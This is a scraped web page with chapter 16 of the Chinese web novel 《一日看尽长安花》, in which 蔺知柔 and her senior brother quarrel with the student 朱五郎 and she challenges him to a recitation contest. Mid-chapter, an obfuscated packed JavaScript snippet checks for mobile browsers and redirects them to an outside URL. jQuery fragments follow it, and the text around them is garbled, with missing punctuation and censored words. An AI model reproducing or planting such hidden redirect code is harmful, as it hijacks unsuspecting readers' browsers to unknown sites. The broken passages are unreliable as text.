第 16 章 16(修) 斗气

作品:《一日看尽长安花

    蔺知柔知道这是他小师兄没消气,故意把得罪人的差事扔给她。


    她不怕得罪人,将那试卷中的毛病如实点评了一番,只是顾及朱姓塾生的颜面,措辞略微客气些。


    朱姓塾生方才听他们师弟相称,得知那小儿已拜入柳十四郎门下,心中已是不忿,眼下得意之作又叫得批得一无是处,顿时怨怒难当,口不择言道:“你算个什么东西?也敢对我指手画脚?”


    这种程度的挑衅对蔺知柔来说不痛不痒,一个眼神都懒得给他,转身就打算回去。


    倒是她刚捡来的师兄护短,对那人道:“姓朱的,你又是什么挂猪头卖狗肉的东西?我的师弟也是你骂得的?”要骂也只有我能骂。


    此话骂得极损,暗指他倒贴吴郡朱氏,其他塾生略一思索也都回过味来了,俱都面面相觑。


    朱姓塾生恼羞成怒,气得跳脚:“骂他又如何?我还连你一起骂呢!徒有其表、虚头巴脑的小玩意儿!”


    阿铉年轻气盛,当即就要上去干架。国朝士风不以尚武为耻,朝堂中不乏出将入相、文武双全者,民间读书人一语不合,捋起袖子上演全武行也不算稀罕事。


    如阿铉这样的世家子,自小跟着专门的教**学骑射,看着文弱,真的打起来倒未必会输。


    朱姓塾生的同窗们见情势一发不可收拾,上前劝解:“五郎,算了,何苦与两个孩子计较。”


    蔺知柔也扯了扯师兄的袖子,低声劝道:“师兄咱们回去罢,与这种人掰扯什么,当他是条狗,随他吠两声就是了。回头惹得师父不悦,还得挨罚。”时间宝贵,她急着回去读书,哪有功夫与这种人打嘴仗。


    阿铉一听“师父”两字,稍微冷静了点,忿忿地“哼”了一声,一拂袖子:“咱们走!”


    朱五郎:“他柳廷玠不过虚有其表,削尖了脑袋四处钻营,哪里有什么真才实学!”


    此话一出,众人俱都色变,本朝极重避讳,当着子孙直呼其父祖的名讳就好比**脸。师父如父,朱五郎此举便是故意侮辱人。


    阿铉和蔺知柔同时停下脚步,转过身折返回去。


    阿铉瞪视着朱五郎:“姓朱的,你好肥的胆子!”


    牛二郎急得直冒汗:“朱兄切莫乱说话.


    .....柳先生高才众所周知若非如此你我又怎会来此投献诗文?”


    朱五郎犹自嚷道:“我不过是来探探虚实一早便听闻此子沽名钓誉不过是凭着妍姿媚态当上京都贵人的入幕之宾!牛二郎你想跟他学什么?学那邀宠取嬖的媚功么?凭你这尊容能学得成么?”


    阿铉一听这话哪里忍得住火急火燎地冲上前去:“我师父出身河东柳氏门第高华、标格一时!你休得胡言!”


    朱五郎冷笑:“是不是胡言你心知肚明!河东柳氏?你且问问柳家人肯不肯认他!谁不知道他是狐狸生的?是了


    阿铉气得直哆嗦牙关咬得咯咯作响。


    蔺知柔也不劝架了她虽觉斗勇耍狠殊为无谓但师父受辱做人徒弟的不能置之不理。


    她与师兄并肩而立冷眼看向朱五郎:“亏你是个读圣贤书的心眼脏臭堪比溷厕难怪写出的破诗也全是粪秽气。”


    朱五郎当即道:“**还没生齐的小儿也配论诗?”


    蔺知柔冷笑:“我一个小儿也知道你人烂诗更烂打从根子上烂起烂得无可救药。”


    “小娃娃好大口气!”朱五郎气得眼斜口歪“你可敢与我比试比试?也好让我们见识见识名满京华的柳十四郎收了个什么东西作徒弟!”


    蔺知柔连作诗都不会怎么会被他三言两语一激就上钩正想拿话堵回去师兄却抢先道:“比就比!我同你比!”


    “是他骂我的诗不好我就与他比!”朱五郎转了转眼珠继续拿话激他“若是他不敢比你们师徒几个就是沆瀣一气你们这地方就是个狐狸窝!”


    这话全无逻辑但阿铉怒极当即推了师弟一把:“七郎你同他比!不许输只许赢!”


    蔺知柔扶额。


    说出去的话泼出去的水这种时候最忌自己人之间相互拆台只有想办法赢了。


    她心如电转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165066|180662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不一会儿定下计来:“好我同你比。”


    又瞥了眼朱五郎挑着下巴道:“你苦读多年而诗文靠的是天赋才气若是只比诗赋我便赢了你也是胜之不武没什么意思。不如将帖经、


    策问一并试了,叫你输得心服口服。”


    阿铉略一想就明白了,师弟不曾学过诗赋,若是上来就比作诗,恐怕没什么胜算,倒不如多比几样,胜算还大些。


    朱五郎自小学经,有恃无恐:“你输了可别哭。”


    蔺知柔又道:“我只学了《孝经》、《论语》两部。”


    牛二郎道:“那便从《孝经》、《论语》中取题罢。”


    朱五郎也没有异议,这两部经他倒背如流,有何所惧?


    蔺知柔又道:“此地无有纸笔,若是旁人出题,我俩抢答,我年纪小心思快,不免答得比你快,又是胜之不武,不如你我互难如何?到谁答不出来,便算输了。”


    朱五郎疑心有陷阱,盘算了半晌,想不出她能玩出什么花样,便对众人道:“便依他说的办。”


    又对蔺知柔道:“看在你年幼的份上让你一回,你先出题罢。”


    蔺知柔道:“‘贤贤易色’后一句是什么?”


    朱五郎轻蔑一嗤:“‘事父母能竭其力’,该我问了。‘必闻其政’后接哪一句?”


    蔺知柔装作不得其解,待那朱五郎得意之色溢于言表时,忽而道:“后一句是‘求之与?抑与之与?’”


    朱五郎低低咒骂了一声:“算你小子运气好!”


    两人如此往复了十数回合,朱五郎对答如流,蔺知柔磕磕绊绊,却总能在最后一刻扭转乾坤说出正确答案。


    围观众人都觉有些无聊,这没完没了的,得比到何时?难不成要把两部书你一句我一句地背完?


    蔺知柔看着火候差不多了,嘴角一勾:“‘不敬其亲而敬他人者’……”


    朱五郎顺口就接道:“‘谓之悖礼。’”


    “慢着,”蔺知柔打断他,“我问的不是下一句,是往前倒数第四句。”